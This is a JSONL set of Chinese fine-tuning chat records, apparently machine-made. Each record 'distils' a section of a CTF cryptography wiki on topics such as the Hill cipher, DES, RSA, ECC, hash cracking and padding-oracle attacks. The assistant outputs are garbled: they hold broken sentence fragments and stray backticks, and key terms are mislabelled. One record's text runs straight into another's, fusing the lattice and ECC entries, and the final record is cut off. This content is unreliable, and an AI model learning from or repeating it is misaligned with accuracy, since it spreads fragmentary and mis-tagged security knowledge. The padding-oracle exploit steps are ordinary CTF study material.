{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-ef952471537734ea6aba", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/attack-summary/bit-attack.md` 中的章节「第三组」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/attack-summary/bit-attack.md`\n标题：比特攻击\n章节：第三组\n路径分类：crypto / crypto/attack-summary/bit-attack.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“第三组”展开。\n- 当然，本题目也可以使用中间相遇的攻击方法，也就是说分别枚举第 0 轮使用的密钥和最后一轮使用的密钥使其在第三轮相遇产生碰撞。\n- [2764038144, 2764038145] `` 然后其实我们就可以手工试一下加密所有的明密文，如果不对，就直接判断错误即可了。\n- 最后可以发现密钥是 ` 2659900894|2764038145 `` 也就是11424187353095200769。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- attack-summary\n- bit-attack.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `然后其实我们就可以手工试一下加密所有的明密文，如果不对，就直接判断错误即可了。这样其实可以很快可以过滤。最后可以发现密钥是`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 223, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "第三组", "heading_path": ["第三组"], "original_id": "docs-39528b5f844a11171e18", "original_line": 305, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/attack-summary/bit-attack.md", "source_root": "docs", "source_sha256": "e86c944189bc581a40e7528a4a7a6f6440d5f05272846a07df8ca772b947f3aa", "split": "train", "split_group_key": "f725b9f6882c65b3986a92a2", "subcategory": "crypto/attack-summary/bit-attack.md", "terms": ["密码学", "漏洞利用", "crypto", "attack-summary", "bit-attack.md"], "title": "比特攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/attack-summary/bit-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-f319fefee6d6f3ddcd83", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/polyalphabetic.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/polyalphabetic.md`\n标题：多表代换加密\n章节：多表代换加密 > Hill > 例子\n路径分类：crypto / crypto/classical/polyalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 我们直接使用 Cryptool，需要注意的是，这个矩阵是按照列来排布的。\n- 这里我们以ISCC 2015 base decrypt 150为例进行介绍，题目为 > 密文： 22,09,00,12,03,01,10,03,04,08,01,17 （wjamdbkdeibr） > > 使用的矩阵是 1 2 3 4 5 6 7 8 10 > > 请对密文解密. 首先，矩阵是 3 × 3 的。\n- 即如下 `` 1 4 7 2 5 8 3 6 10 ` 最后的结果为 overthehillx`。\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- polyalphabetic.md\n\n代码/命令片段线索：\n- plain: 3 行，首行 `1 4 7`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 260, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "例子", "heading_path": ["多表代换加密", "Hill", "例子"], "original_id": "docs-772380926093e60a20a9", "original_line": 383, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "source_root": "docs", "source_sha256": "16e9d23649907764bf91530b02b8733cc909e3ba9fa80e74a20055102c0215a0", "split": "train", "split_group_key": "c0331519657de20ca5ec8b4e", "subcategory": "crypto/classical/polyalphabetic.md", "terms": ["密码学", "crypto", "classical", "polyalphabetic.md"], "title": "多表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-f33c51492764a9c2734e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/hash/attack.md` 中的章节「import pyscrypt」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/hash/attack.md`\n标题：Hash Attack\n章节：import pyscrypt\n路径分类：crypto / crypto/hash/attack.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“import pyscrypt”展开。\n- To prove your worthiness, you must display the power of your cracking skills.\n- As you already know the dictionary and won't need any fancy password rules, {} seconds should be plenty, right?\n- \\n\".encode()) self.request.settimeout(self.timeout) try: response = self.request.recv(1024) if response.strip() == SECRET_REDACTED) self.request.sendall(\"Welcome to the club: {}\\n\".format(flag).encode()) return except socket.timeout: pass self.request.senda...\n- We send you a password from the rockyou list, hashed using multiple randomly chosen algorithms.\n- You crack the hash and send back the original password.\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- hash\n- attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 3782, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "import pyscrypt", "heading_path": ["import pyscrypt"], "original_id": "docs-4698d18bf615349e5aae", "original_line": 396, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/attack.md", "source_root": "docs", "source_sha256": "80fde767e17002c534f0877819eecdfe1b1bda14fae5184477dcedfeaaf95889", "split": "train", "split_group_key": "30ecf79f01507a920c90a781", "subcategory": "crypto/hash/attack.md", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "hash", "attack.md"], "title": "Hash Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-f364561b46fcc71fabea", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/simon-speck.md` 中的章节「基本介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/simon-speck.md`\n标题：Simon and Speck Block Ciphers\n章节：Simon and Speck Block Ciphers > Simon Block Cipher > 基本介绍\n路径分类：crypto / crypto/blockcipher/simon-speck.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本介绍”展开。\n- Simon 块加密算法由 NSA 2013 年 6 月公布，主要在硬件实现上进行了优化。\n- Simon Block Cipher 是平衡的 Feistel cipher 加密，一共有两块，若每块加密的大小为 n bits，那么明文的大小就是 2n bits。\n- 常见的 Simon 加密算法有 [图片文件: ./figure/simon_cipher_mode.png] 一般来说，Simon 算法称之为 Simon 2n/nm，n 为块大小，m 是块大小与密钥之间的倍数。\n- 比如说 Simon 48/96 就是指明文是 48 比特，密钥是 96 比特的加密算法。\n- 此外，对于 Simon 块加密算法来说，每轮的加密过程一样，如下 [图片文件: ./figure/Simon_block_cipher.png] 当然，对于每一轮以及不同的 m 来说，密钥也会有所不同 [图片文件: ./figure/simon_key_schedule.svg] 其中， $z_j$ 是由 Linear Feedback Shift Register (LFSR) 生成的，虽然对于不同的 $z_j$ 的逻辑不同，但是初始向量是固定的。\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- simon-speck.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1041, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "基本介绍", "heading_path": ["Simon and Speck Block Ciphers", "Simon Block Cipher", "基本介绍"], "original_id": "docs-c7769e44af5239683127", "original_line": 328, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/simon-speck.md", "source_root": "docs", "source_sha256": "66adb86b00057e38b4b9b7d302ff7d1959ecb701433dea4c57f82dc8a0d263de", "split": "train", "split_group_key": "4145af1ccbf8d32cf44f2d45", "subcategory": "crypto/blockcipher/simon-speck.md", "terms": ["密码学", "crypto", "blockcipher", "simon-speck.md"], "title": "Simon and Speck Block Ciphers"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/simon-speck.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-f463f0671d425806e791", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/wireshark.md` 中的章节「Conversation(对话)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/wireshark.md`\n标题：Wireshark\n章节：Wireshark > Wireshark 常用功能介绍 > 信息统计 > Conversation(对话)\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Conversation(对话)”展开。\n- 文件: ./figure/conversation.png] !\n- 这可能是一次正常的扫描，如SNMP软件发送ping报文以查找网络，但通常扫描都不是好事情\n- note ​ - 查看收发大量数据流的IP地址。\n- 如果是你知道的服务器（你记得服务器的地址或地址范围），那问题就解决了；\n- 但也有可能只是某台设备正在扫描网络，或仅是一台产生过多数据的PC。\n\n关键术语：\n- 密码学\n- misc\n- traffic\n- protocols\n- wireshark.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 237, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "Conversation(对话)", "heading_path": ["Wireshark", "Wireshark 常用功能介绍", "信息统计", "Conversation(对话)"], "original_id": "docs-245ef6a84397cadd7edf", "original_line": 618, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/wireshark.md", "source_root": "docs", "source_sha256": "546a3a75ea351917c279b325f09f055f5c2a27216cee4990c2ab27defff3a559", "split": "train", "split_group_key": "0fef89b1050d184b11d27bf2", "subcategory": "misc/traffic/protocols", "terms": ["密码学", "misc", "traffic", "protocols", "wireshark.md"], "title": "Wireshark"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/wireshark.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-f574357eabb8c8d6116f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/des.md` 中的章节「2019 CISCN part_des」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/des.md`\n标题：DES\n章节：-- coding: utf-8 -- > 2019 CISCN part_des\n路径分类：crypto / crypto/blockcipher/des.md\n分块：2/3\n\n核心知识点：\n- 本节主题围绕“2019 CISCN part_des”展开。\n- n 的选择，在本题中，我们并不知道 n，但这无关紧要，我们可以尝试所有可能的取值（0-15）flag应为ascii字符串。\n- ap 应为des的子密钥，要还原出明文只需进行n轮des加密的逆过程即可，解密时注意以下三点。\n- 子密钥的选取，对于只进行了n轮的加密结果，解密时应依次使用密钥 n, n-1..., 1。\n- des 最后一轮后的操作，未完成的 des 没有交换左右两部分和逆初始置换，因此解密时我们应先对密文进行这两步操作。\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- des.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 7488, "chunk_count": 3, "chunk_index": 1, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "2019 CISCN part_des", "heading_path": ["-- coding: utf-8 --", "2019 CISCN part_des"], "original_id": "docs-0f6229b01a54c4dc678b", "original_line": 323, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/des.md", "source_root": "docs", "source_sha256": "cbcf7f36c02c6bc816fe0df275a1c9dcf3dce505e33f2e1d5574f202caffa303", "split": "train", "split_group_key": "bbfca2611688e5b4124ea3d3", "subcategory": "crypto/blockcipher/des.md", "terms": ["密码学", "crypto", "blockcipher", "des.md"], "title": "DES"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/des.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-f5c88a15c787684e54cf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/lattice/introduction.md` 中的章节「successive minima」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/lattice/introduction.md`\n标题：基本介绍\n章节：基本介绍 > 格中若干基本定义 > successive minima\n路径分类：crypto / crypto/asymmetric/lattice\n分块：1/1\n\n核心知识点：\n- 格是 m 维欧式空间 $R^m$ 的秩为 n 的格，那么 L 的连续最小长度(successive minima)为 $\\lambda_1,...,\\lambda_n \\in R$，满足对于任意的 $1\\leq i\\leq n$，$\\lambda_i$ 是满足格中 i 个线性无关的向量$v_i$， $||v_j||\\leq \\lambda_i,1\\leq j\\leq i$ 的最小值。\n- 自然的 $\\lambda_i \\leq \\lambda_j ,\\forall i  概述\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- 它的优势主要在于相对于其它方法，它可以在使用较短密钥长度的同时保持相同的密码强度。\n- ECC 全称为椭圆曲线加密，EllipseCurve Cryptography，是一种基于椭圆曲线数学的公钥密码。\n- 与传统的基于大质数因子分解困难性的加密方法不同，ECC依赖于解决椭圆曲线离散对数问题的困难性。\n- 目前椭圆曲线主要采用的有限域有 - 以素数为模的整数域GF(p)，通常在通用处理器上更为有效。\n- 特征为 2 的伽罗华域GF（2^m），可以设计专门的硬件。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- discrete-log\n- ecc.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 225, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "概述", "heading_path": ["ECC", "概述"], "original_id": "docs-7a5f356e8a137711af94", "original_line": 208, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/ecc.md", "source_root": "docs", "source_sha256": "62b16ba51279e7197c9f42e8ed4ed7911bae878fe5cf3186a6d08caf8185d0c3", "split": "train", "split_group_key": "953d8a615c262940a0522ae7", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["密码学", "crypto", "asymmetric", "discrete-log", "ecc.md"], "title": "ECC"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/ecc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-f6dbe05f2d3a71d59502", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_theory.md` 中的章节「openssl」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_theory.md`\n标题：RSA 介绍\n章节：RSA 介绍 > 基本工具 > openssl\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 查看公钥文件 ``shell openssl rsa -pubin -in pubkey.pem -text -modulus ` - 解密 `shell rsautl -decrypt -inkey private.pem -in flag.enc -out flag ` 更加具体的细节请参考 openssl --help`。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- rsa\n- rsa-theory.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `openssl rsa -pubin -in pubkey.pem -text -modulus`\n- shell: 1 行，首行 `rsautl -decrypt -inkey private.pem -in flag.enc -out flag`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 185, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "openssl", "heading_path": ["RSA 介绍", "基本工具", "openssl"], "original_id": "docs-9315d62509e80b5552e1", "original_line": 281, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "source_root": "docs", "source_sha256": "86d02da6eabf687916aa9c632a640efdf2507755ada88ee2dfe422822630c34a", "split": "train", "split_group_key": "0a59e4133d15f8b760549241", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "crypto", "asymmetric", "rsa", "rsa-theory.md", "code:shell"], "title": "RSA 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-f7bf9cd181414e482305", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/hash/introduction.md` 中的章节「哈希函数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/hash/introduction.md`\n标题：哈希函数\n章节：哈希函数\n路径分类：crypto / crypto/hash/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“哈希函数”展开。\n- 其一般模型如下 [图片文件: ./figure/hash.png] 显然对于任何一个hash值，理论上存在若干个消息与之对应，即碰撞。\n- 冗余校验 - 单向口令文件，比如linux系统的密码 - 入侵检测和病毒检测中的特征码检测 目前的Hash函数主要有MD5，SHA1，SHA256，SHA512。\n- 哈希函数的基本需求如下 | 需求 | 描述 | | ------ | ---------------------------------------- | | 输入长度可变 | hash函数可以应用于任意长度的数据 | | 输出长度固定 | hash函数的输出长度固定 | | 效率 | 对于任意消息 $x$，计算 $H(x)$ 很容易 | | 单向性 | 对于任意哈希值h，想要找到满足$H(x)=h$ 的x在计算上不可行。\n- | | 抗弱碰撞性 | 对于任意消息x，找到满足另一消息y，满足$H(x)=H(y)$ ，在计算上不可行。\n- | | 抗强碰撞性 | 找到任意一对满足 $H(x)=H(y)$ 的消息x和y在计算上不可行。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- hash\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 788, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "哈希函数", "heading_path": ["哈希函数"], "original_id": "docs-7ec758d43398ff456eba", "original_line": 404, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/introduction.md", "source_root": "docs", "source_sha256": "7a0fad3c128496b8ec26b94cff06bd89b1bb0b5e617a03d66627a70dcc1a7e4a", "split": "train", "split_group_key": "91abef9e903ebcbe39dcc9da", "subcategory": "crypto/hash/introduction.md", "terms": ["密码学", "AI安全", "crypto", "hash", "introduction.md"], "title": "哈希函数"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-f9051ac69ea1df24fd63", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_theory.md` 中的章节「公钥与私钥的产生」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_theory.md`\n标题：RSA 介绍\n章节：RSA 介绍 > 基本原理 > 公钥与私钥的产生\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“公钥与私钥的产生”展开。\n- 1. 随机选择两个不同大质数 $p$ 和 $q$，计算 $N = p \\times q$ 2. 根据欧拉函数，求得 $\\varphi (N)=\\varphi (p)\\varphi (q)=(p-1)(q-1)$ 3. 选择一个小于 $\\varphi (N)$ 的整数 $e$，使 $e$ 和 $\\varphi (N)$ 互质。\n- 并求得 $e$ 关于 $\\varphi (N)$ 的模反元素，命名为 $d$，有 $ed\\equiv 1 \\pmod {\\varphi (N)}$ 4. 将 $p​$ 和 $q​$ 的记录销毁 此时，$(N,e)$ 是公钥，$(N,d)$ 是私钥。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- rsa\n- rsa-theory.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 288, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "公钥与私钥的产生", "heading_path": ["RSA 介绍", "基本原理", "公钥与私钥的产生"], "original_id": "docs-fb2bdc05ab1b2b252a50", "original_line": 278, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "source_root": "docs", "source_sha256": "86d02da6eabf687916aa9c632a640efdf2507755ada88ee2dfe422822630c34a", "split": "train", "split_group_key": "3c7f51831bd7ddbee7d4b79e", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "crypto", "asymmetric", "rsa", "rsa-theory.md"], "title": "RSA 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-fc68a655eaa5249ec064", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`\n标题：Padding Oracle Attack\n章节：Padding Oracle Attack > 2017 HITCON Secret Server > 分析\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- 程序中采用的加密是 AES CBC，其中采用的 padding 与 PKCS5 类似 ``python def pad(msg): pad_length = 16-len(msg)%16 return msg+chr(pad_length)*pad_length def unpad(msg): return msg[:-ord(msg[-1])] ` 但是，在每次 unpad 时并没有进行检测，而是直接进行 unpad。\n- 其中，需要注意的是，每次和用户交互的函数是 - send_msg ，接受用户的明文，使用固定的 2jpmLoSsOlQrqyqE 作为 IV，进行加密，并将加密结果输出。\n- recv_msg ，接受用户的 IV 和密文，对密文进行解密，并返回。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n- code:python\n\n代码/命令片段线索：\n- python: 5 行，首行 `def pad(msg):`\n- python: 17 行，首行 `msg = recv_msg().strip()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 890, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "分析", "heading_path": ["Padding Oracle Attack", "2017 HITCON Secret Server", "分析"], "original_id": "docs-d17f2f711a779cd61f02", "original_line": 339, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "0aab4b8373da5e952301104d", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md", "code:python"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-ffb590cdda6661293d89", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`\n标题：Padding Oracle Attack\n章节：Padding Oracle Attack > 2017 HITCON Secret Server Revenge > 利用思路\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“利用思路”展开。\n- 进而，在 unpad 的时候就是利用 md5(token[:i]) 的最后一个字节（ 0-255）进行 unpad，之后对 unpad 后的字符串执行指定的命令（比如md5）。\n- 然而，如果 md5(token[:i]) 的最后一个字节小于16，那么在 unpad 时就会利用一些 md5 中的值，而这部分值，由于对于不同长度的 token[:i] 几乎都不会相同。\n- 所以这里我们需要想办法复用一些内容，这里我们选择复用 encrypt(md5(token[:i])) 的结果。\n- 如果我们将加密 IV 和 encrypt(md5(token[:i])) 放在某个密文 C 的后面，构成 C|IV|encrypt(md5(token[:i]))，那么解密出来的消息的最后一个明文块就是 md5(token[:i])。\n- 具体利用思路如下 1. 绕过 proof of work。\n\n关键术语：\n- ROP/JOP\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 5083, "chunk_count": 2, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", 